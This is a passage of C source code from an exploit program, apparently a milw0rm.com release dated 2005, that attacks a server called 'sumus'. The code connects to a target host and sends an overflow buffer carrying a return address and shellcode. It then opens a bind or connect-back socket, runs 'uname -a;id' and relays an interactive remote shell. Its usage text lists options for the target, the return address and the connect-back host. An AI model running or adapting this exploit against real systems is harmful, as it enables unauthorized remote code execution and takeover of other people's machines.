struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char *)&s.sin_addr,(char *)t->h_addr,sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("sumus connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
printf("[*] sending string: [FILLER][\"GET\"][FILLER][new \"kk\"]"
"[ADDR][EGG]\n");
sleep(1);
write(sock,getbuf(tbl.addr),BUFSIZE);
write(sock,getegg(EGGSIZE),EGGSIZE);
sleep(1);
printf("[*] closing connection.\n\n");
close(sock);
return(0);
}
signed int getshell_bind_init(unsigned short port){
signed int ssock=0,so=1;
struct sockaddr_in ssa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,1);
return(ssock);
}
signed int getshell_bind_accept(signed int ssock){
signed int sock=0;
unsigned int salen=0;
struct sockaddr_in sa;
memset((char*)&sa,0,sizeof(struct sockaddr_in));
salen=sizeof(sa);
printf("[*] awaiting connection from: *:%d.\n",tbl.sport);
alarm(TIMEOUT);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
alarm(0);
close(ssock);
printf("[*] connection established. (connect-back)\n");
return(sock);
}
signed int getshell_conn(char *hostname,unsigned short port){
signed int sock=0;
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell_conn(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell_conn(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
exit(1);
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
return(sock);
}
void proc_shell(signed int sock){
signed int r=0;
char buf[4096+1];
fd_set fds;
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}
void usage(char *progname){
printf("syntax: %s [-pscrln] -h host\n\n",progname);
printf(" -h <host/ip>\ttarget hostname/ip.\n");
printf(" -p <port>\ttarget port.\n");
printf(" -s <port>\tconnect-back/bind port. (shellcode)\n");
printf(" -c <host/ip>\tconnect-back host/ip. (enables "
"connect-back)\n");
printf(" -r <addr>\tdefine return address. (0x%.8x)\n",tbl.addr);
printf(" -l <value>\tdistance from the start pointer. (\"GET\")\n");
printf(" -n <offset>\tadds to the overwritten \"kk\" integer.\n\n");
exit(0);
}
// milw0rm.com [2005-04-14]